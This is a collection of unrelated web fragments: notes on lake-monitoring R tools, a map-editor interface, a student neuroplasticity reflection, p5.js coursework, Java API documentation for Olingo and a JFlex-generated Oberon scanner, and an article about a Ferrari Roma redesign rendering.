For summary and visualization of continuous lake data, we’re actively working on LakeMonitoR - R package - https://leppott.github.io/LakeMonitoR/ Shiny app - https://tetratech-wtr-wne.shinyapps.io/LakeMonitoR/ This work is being funded by Shane Bowe from the Red Lake Band of Chippewa Indians (via a BIA grant) and EPA ORD.
Over the coming year, we’ll also be working on new tools for summarizing and visualizing the stream RMN data (thermal, hydrologic and biological data).
There are other existing software programs for working with continuous data. One example is the open source Python-based tool by Horsburgh et al. (2015), which provides a data quality control work flow, allows for flagging of data based on visual inspection, can apply drift corrections and interpolate missing values (if desired) and saves both original and edited data for documentation. Other existing software options include a sensorQC R package by USGS (https://github.com/USGS-R/sensorQC) and rLakeAnalyzer (Read et al. 2011, Winslow et al. 2018) (https://CRAN.R-project.org/package=rLakeAnalyzer), which have statistical outlier detection tools.


Pixel Strategy Map Editor
New
Load
Save
Download
Overview
Edit Map
Help
Example
Square Settings
Map Square (W*H):
12*12
Square Size :
30*30 px
Canvas Size (W*H):
600*600 px
Map Size (W*H):
400*400 px
Canvas Settings
Canvas Title:
Untitled Canvas
Map Title :
Untitled Map
Map Description :
none
Canvas Filter :
Title
Description
Legend
Other Settings
Ruler Font Color:
White
Ruler Line Color:
White
Ruler Background Color:
Black
Square Background Color:
Black
Block Type
Block Styles
The yellow character is the shortcut key to that Block Style.
A
B
C
D
Add new Block Style
Untitled Canvas
show warning message to the user here
Covert and Download


Transpilation and polyfilling are two highly effective techniques for addressing that gap between code that uses the latest stable features in the language and the old environments a site or application needs to still support. Since JS isn't going to stop improving, the gap will never go away. Both techniques should be embraced as a standard part of every JS project's production chain going forward.


How understanding the principles of neuroplasticity benefits people? & how might you engage with the principals of neuroplasticity for your own benefit?
Neuroplasticity principles help us understand that anyone can learn anything. Before neuroplasticity study researchers believed that brains stops growing after certain age which kind of stops people from learning new things. Our brain is like plastic that is why it’s called neuroplasticity. Every time we think or do a new task a new road map is created in the brain. And the more time we repeat the new task stronger the connection between the roads. Hence the principles give people a hope that they can never give up.
Sometimes when doing the course I have been facing a lot of times where I think I don’t know if I can do the exercises or not but understanding the principals and be positive not only doing this course but learning anything in future.


1. p5.js Continuous Lines. I am using this example because I want to create an additional interaction for users to draw out their thoughts and feelings. I hope to emulate a sketchbook on a journal as part of my interaction. For my submission, I created a simple drawing pen and changed the color to make it much more fun and vibrant. Example of reference can be found here.
2. p5.js Random. I am using this example from Happy Coding website since I wanted to add some more colors and shape to my background. Although its not the final design, I hope to create a vision of a garden or outdoor nature. I am hoping to create a background that would include a speech interaction where users can verbalize their thoughts and feelings. Example of reference can be found here.
1. p5.js Continuous Lines - For my submission, I submitted my experiment of p5.js Continuous Lines - link of submission can be found here.
2. p5.js Random - For my submission, below is an visual element of the background that I will potentially use with some few alteration. Submission link can be found Example can be found here.


{% extends 'CodeSchoolRecipeApp/base.html' %} {% block content %}
Edit User Info
Log Out
Create a user or
Log in


public interface ClientComplexValue extends ClientValue, ClientLinked, ClientAnnotatable, Iterable<ClientProperty>
| Modifier and Type | Method and Description |
|---|---|
ClientComplexValue |
add(ClientProperty field)
Adds field to the complex type.
|
Map<String,Object> |
asJavaMap()
Converts this instance as POJO collection.
|
ClientProperty |
get(String name)
Gets field.
|
int |
size()
Gets number of fields.
|
asCollection, asComplex, asEnum, asPrimitive, getTypeName, isCollection, isComplex, isEnum, isPrimitive
addLink, getAssociationLink, getAssociationLinks, getNavigationLink, getNavigationLinks, removeLink
getAnnotations
forEach, iterator, spliterator
ClientComplexValue add(ClientProperty field)
field
- field to be added.ClientProperty get(String name)
name
- name of the field to be retrieved.int size()
Copyright © 2013–2018 The Apache Software Foundation. All rights reserved.


public class OberonScanner
extends java.lang.Object
| 限定符和类型 | 字段和说明 |
|---|---|
private long |
yychar
Number of characters up to the start of the matched text.
|
private int |
yycolumn
Number of characters from the last newline up to the start of the matched text.
|
static int |
YYEOF
This character denotes the end of file.
|
static int |
YYINITIAL |
private int |
yyline
Number of newlines encountered up to the start of the matched text.
|
private static int[] |
ZZ_ACTION
Translates DFA states to action switch labels.
|
private static java.lang.String |
ZZ_ACTION_PACKED_0 |
private static int[] |
ZZ_ATTRIBUTE
ZZ_ATTRIBUTE[aState] contains the attributes of state
aState |
private static java.lang.String |
ZZ_ATTRIBUTE_PACKED_0 |
private static int |
ZZ_BUFFERSIZE
Initial size of the lookahead buffer.
|
private static int[] |
ZZ_CMAP_BLOCKS
Second-level tables for translating characters to character classes
|
private static java.lang.String |
ZZ_CMAP_BLOCKS_PACKED_0 |
private static int[] |
ZZ_CMAP_TOP
Top-level table for translating characters to character classes
|
private static java.lang.String |
ZZ_CMAP_TOP_PACKED_0 |
private static java.lang.String[] |
ZZ_ERROR_MSG
|
private static int[] |
ZZ_LEXSTATE
ZZ_LEXSTATE[l] is the state in the DFA for the lexical state l
ZZ_LEXSTATE[l+1] is the state in the DFA for the lexical state l
at the beginning of a line
l is of the form l = 2*k, k a non negative integer
|
private static int |
ZZ_NO_MATCH
Error code for "could not match input".
|
private static int |
ZZ_PUSHBACK_2BIG
Error code for "pushback value was too large".
|
private static int[] |
ZZ_ROWMAP
Translates a state to a row index in the transition table
|
private static java.lang.String |
ZZ_ROWMAP_PACKED_0 |
private static int[] |
ZZ_TRANS
The transition table of the DFA
|
private static java.lang.String |
ZZ_TRANS_PACKED_0 |
private static int |
ZZ_UNKNOWN_ERROR
Error code for "Unknown internal scanner error".
|
private boolean |
zzAtBOL
Whether the scanner is currently at the beginning of a line.
|
private boolean |
zzAtEOF
Whether the scanner is at the end of file.
|
private char[] |
zzBuffer
This buffer contains the current text to be matched and is the source of the
yytext()
string. |
private int |
zzCurrentPos
Current text position in the buffer.
|
private int |
zzEndRead
Marks the last character in the buffer, that has been read from input.
|
private boolean |
zzEOFDone
Whether the user-EOF-code has already been executed.
|
private int |
zzFinalHighSurrogate
|
private int |
zzLexicalState
Current lexical state.
|
private int |
zzMarkedPos
Text position at the last accepting state.
|
private java.io.Reader |
zzReader
Input device.
|
private int |
zzStartRead
Marks the beginning of the
yytext() string in the buffer. |
private int |
zzState
Current state of the DFA.
|
| 构造器和说明 |
|---|
OberonScanner(java.io.Reader in)
Creates a new scanner
|
| 限定符和类型 | 方法和说明 |
|---|---|
(专用程序包) int |
get_column() |
(专用程序包) int |
get_line() |
java_cup.runtime.Symbol |
next_token()
Resumes scanning until the next regular expression is matched, the end of input is encountered
or an I/O-Error occurs.
|
private Symbol |
symbol(int type) |
private Symbol |
symbol(int type,
java.lang.Object value) |
boolean |
yyatEOF()
Returns whether the scanner has reached the end of the reader it reads from.
|
void |
yybegin(int newState)
Enters a new lexical state.
|
char |
yycharat(int position)
Returns the character at the given position from the matched text.
|
void |
yyclose()
Closes the input reader.
|
int |
yylength()
How many characters were matched.
|
void |
yypushback(int number)
Pushes the specified amount of characters back into the input stream.
|
void |
yyreset(java.io.Reader reader)
Resets the scanner to read from a new input stream.
|
private void |
yyResetPosition()
Resets the input position.
|
int |
yystate()
Returns the current lexical state.
|
java.lang.String |
yytext()
Returns the text matched by the current regular expression.
|
private static int |
zzCMap(int input)
Translates raw input code points to DFA table row
|
private void |
zzDoEOF()
Contains user EOF-code, which will be executed exactly once,
when the end of file is reached
|
private boolean |
zzRefill()
Refills the input buffer.
|
private static void |
zzScanError(int errorCode)
Reports an error that occurred while scanning.
|
private static int[] |
zzUnpackAction() |
private static int |
zzUnpackAction(java.lang.String packed,
int offset,
int[] result) |
private static int[] |
zzUnpackAttribute() |
private static int |
zzUnpackAttribute(java.lang.String packed,
int offset,
int[] result) |
private static int[] |
zzUnpackcmap_blocks() |
private static int |
zzUnpackcmap_blocks(java.lang.String packed,
int offset,
int[] result) |
private static int[] |
zzUnpackcmap_top() |
private static int |
zzUnpackcmap_top(java.lang.String packed,
int offset,
int[] result) |
private static int[] |
zzUnpackRowMap() |
private static int |
zzUnpackRowMap(java.lang.String packed,
int offset,
int[] result) |
private static int[] |
zzUnpackTrans() |
private static int |
zzUnpackTrans(java.lang.String packed,
int offset,
int[] result) |
public static final int YYEOF
private static final int ZZ_BUFFERSIZE
public static final int YYINITIAL
private static final int[] ZZ_LEXSTATE
private static final int[] ZZ_CMAP_TOP
private static final java.lang.String ZZ_CMAP_TOP_PACKED_0
private static final int[] ZZ_CMAP_BLOCKS
private static final java.lang.String ZZ_CMAP_BLOCKS_PACKED_0
private static final int[] ZZ_ACTION
private static final java.lang.String ZZ_ACTION_PACKED_0
private static final int[] ZZ_ROWMAP
private static final java.lang.String ZZ_ROWMAP_PACKED_0
private static final int[] ZZ_TRANS
private static final java.lang.String ZZ_TRANS_PACKED_0
private static final int ZZ_UNKNOWN_ERROR
private static final int ZZ_NO_MATCH
private static final int ZZ_PUSHBACK_2BIG
private static final java.lang.String[] ZZ_ERROR_MSG
private static final int[] ZZ_ATTRIBUTE
aState
private static final java.lang.String ZZ_ATTRIBUTE_PACKED_0
private java.io.Reader zzReader
private int zzState
private int zzLexicalState
private char[] zzBuffer
yytext()
string.private int zzMarkedPos
private int zzCurrentPos
private int zzStartRead
yytext()
string in the buffer.private int zzEndRead
private boolean zzAtEOF
yyatEOF()
private int zzFinalHighSurrogate
private int yyline
private int yycolumn
private long yychar
private boolean zzAtBOL
private boolean zzEOFDone
public OberonScanner(java.io.Reader in)
in
- the java.io.Reader to read input from.private static int[] zzUnpackcmap_top()
private static int zzUnpackcmap_top(java.lang.String packed, int offset, int[] result)
private static int[] zzUnpackcmap_blocks()
private static int zzUnpackcmap_blocks(java.lang.String packed, int offset, int[] result)
private static int[] zzUnpackAction()
private static int zzUnpackAction(java.lang.String packed, int offset, int[] result)
private static int[] zzUnpackRowMap()
private static int zzUnpackRowMap(java.lang.String packed, int offset, int[] result)
private static int[] zzUnpackTrans()
private static int zzUnpackTrans(java.lang.String packed, int offset, int[] result)
private static int[] zzUnpackAttribute()
private static int zzUnpackAttribute(java.lang.String packed, int offset, int[] result)
int get_line()
int get_column()
private Symbol symbol(int type)
private Symbol symbol(int type, java.lang.Object value)
private static int zzCMap(int input)
private boolean zzRefill() throws java.io.IOException
false
iff there was new input.java.io.IOException
- if any I/O-Error occurspublic final void yyclose() throws java.io.IOException
java.io.IOException
- if the reader could not be closed.public final void yyreset(java.io.Reader reader)
Does not close the old reader.
All internal variables are reset, the old input stream cannot be reused (internal
buffer is discarded and lost). Lexical state is set to ZZ_INITIAL
.
Internal scan buffer is resized down to its initial length, if it has grown.
reader
- The new input stream.private final void yyResetPosition()
public final boolean yyatEOF()
public final int yystate()
public final void yybegin(int newState)
newState
- the new lexical statepublic final java.lang.String yytext()
public final char yycharat(int position)
It is equivalent to yytext().charAt(pos)
, but faster.
position
- the position of the character to fetch. A value from 0 to yylength()-1
.position
.public final int yylength()
private static void zzScanError(int errorCode)
In a well-formed scanner (no or only correct usage of yypushback(int)
and a
match-all fallback rule) this method will only be called with things that
"Can't Possibly Happen".
If this method is called, something is seriously wrong (e.g. a JFlex bug producing a faulty scanner etc.).
Usual syntax/scanner level error handling should be done in error fallback rules.
errorCode
- the code of the error message to display.public void yypushback(int number)
They will be read again by then next call of the scanning method.
number
- the number of characters to be read again. This number must not be greater than
yylength()
.private void zzDoEOF() throws java.io.IOException
java.io.IOException
public java_cup.runtime.Symbol next_token() throws java.io.IOException, exceptions.LexicalException
java.io.IOException
- if any I/O-Error occurs.exceptions.LexicalException


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Ferrari Roma Gets a Facelift, Looks More like a Modern Ferrari
by Andrei TutuThe introduction of the Ferrari Roma has caught quite a few gear heads by surprise. And I've brought along a rendering that might just limit the said effect. However, this shouldn't have happened in the first place and there are at least two reasons for it.
The first reason has to be the wave of recent rumors talking about a fixed-roof Portofino-like model. And while the said coupe-cabriolet Fezza is a Grand Tourer and the Roma is situated somewhere in between the GT and the supercar categories, the newcomer still fits the said forum chat rather well.
As for the second, this revolves around the late Ferrari CEO Sergio Marchionne having pretty much confirmed the arrival of a new-age Dino.
Now, those who took the reincarnation of the retro model named after Enzo's son literally were probably expecting a twin-turbo V6 rather than the TT V8 found in the mid-front section of the Roma - these expectations were also aided by the rumors talking about the Italian automotive producer's return to the V6 architecture.
So, back to the Roma. The styling of the newcomer has split aficionados into two main camps. The first camp believes this is the first properly beautiful product Maranello has released in years (specials like the Monza SP1/SP2 don't count here).
As for the second group, there's no denying the fact that this talks about the Italian exotic resembling the machines built by Aston Martin. However, that's not exactly accurate and here's why.
Well, digital artist Nicolas Proulx has come up with a redesign for the Roma and this might just bring the fresh arrival closer to the look you'd expect from a contemporary Prancing Horse. So, how does the digitally touched model compare to the original? Check out the social media post below to be the judge of this.
Note that the changes done to the Ferrari Roma are limited, with the front grille being an example as good as any. Nevertheless, these tiny elements appear to have a noticeable effect on the design.


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